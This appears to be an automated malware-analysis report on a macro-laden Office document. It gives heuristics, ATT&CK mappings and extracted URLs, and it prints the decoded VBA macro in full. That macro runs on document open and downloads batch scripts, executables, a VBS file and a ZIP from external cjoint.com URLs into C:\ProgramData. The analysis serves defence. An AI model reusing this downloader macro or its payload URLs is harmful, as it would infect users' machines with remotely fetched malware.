MALICIOUS
210
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1105 Ingress Tool Transfer
T1204.002 Malicious File
The Document_Open VBA macro executes a series of GetCSV calls to download multiple files, including batch scripts, executables, and a ZIP archive, to C:\ProgramData. The use of CreateObject and URLDownloadToFile indicates the macro's intent to download and execute a second-stage payload. The presence of multiple downloaded files suggests a multi-stage infection chain.
Heuristics 7
-
Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOADReference to URLDownloadToFile API
-
LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMANDExtracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
With CreateObject("MSXML2.XMLHTTP") .Open "GET", lru, False -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Private Sub Document_Open() -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL https://www.cjoint.com/doc/21_05/KECqUGPmWF3_xmle.bat In document text (OLE body)
- https://www.cjoint.com/doc/21_05/KECrgxzbO83_protect.cmd�In document text (OLE body)
- https://www.cjoint.com/doc/21_05/KECqGZsc883_dControl.ouiIn document text (OLE body)
- https://www.cjoint.com/doc/21_05/KECngU7yVW3_RunNHide.ouiIn document text (OLE body)
- https://www.cjoint.com/doc/21_05/KEFujtii2zh_uz2.vbs�In document text (OLE body)
- https://www.cjoint.com/doc/21_06/KFeqbojM3W3_update2.zip�In document text (OLE body)
- https://www.cjoint.com/doIn macro / runtime command snippet
- https://www.cjoint.com/doc/21_05/KECrgxzbO83_protect.cmdIn document text (OLE body)
- https://www.cjoint.com/doc/21_05/KEFujtii2zh_uz2.vbsIn document text (OLE body)
- https://www.cjoint.com/doc/21_06/KFeqbojM3W3_update2.zipIn document text (OLE body)
- http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1349 bytes |
SHA-256: 6e63d5a40bf5a8e2e24221a975099e3a2adf8c9bebdc2e9517d1b4e1ba960526 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Public Sub GetCSV(lru, htap)
Dim response As String
With CreateObject("MSXML2.XMLHTTP")
.Open "GET", lru, False
.Send
response = .responseText
End With
If Trim$(response) = "" Then Exit Sub
Open htap For Output As #1
Print #1, response
Close #1
End Sub
Private Sub Document_Open()
GetCSV "https://www.cjoint.com/doc/21_05/KECrgxzbO83_protect.cmd", "C:\ProgramData\protect.cmd"
GetCSV "https://www.cjoint.com/doc/21_05/KECqUGPmWF3_xmle.bat", "C:\ProgramData\xmle.bat"
GetCSV "https://www.cjoint.com/doc/21_05/KECqUGPmWF3_xmle.bat", "C:\ProgramData\xmle2.bat"
GetCSV "https://www.cjoint.com/doc/21_05/KECqGZsc883_dControl.oui", "C:\ProgramData\dControl.exe"
GetCSV "https://www.cjoint.com/doc/21_05/KECngU7yVW3_RunNHide.oui", "C:\ProgramData\RunNHide.exe"
GetCSV "https://www.cjoint.com/doc/21_05/KEFujtii2zh_uz2.vbs", "C:\ProgramData\uz2.vbs"
GetCSV "https://www.cjoint.com/doc/21_06/KFeqbojM3W3_update2.zip", "C:\ProgramData\update2.zip"
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.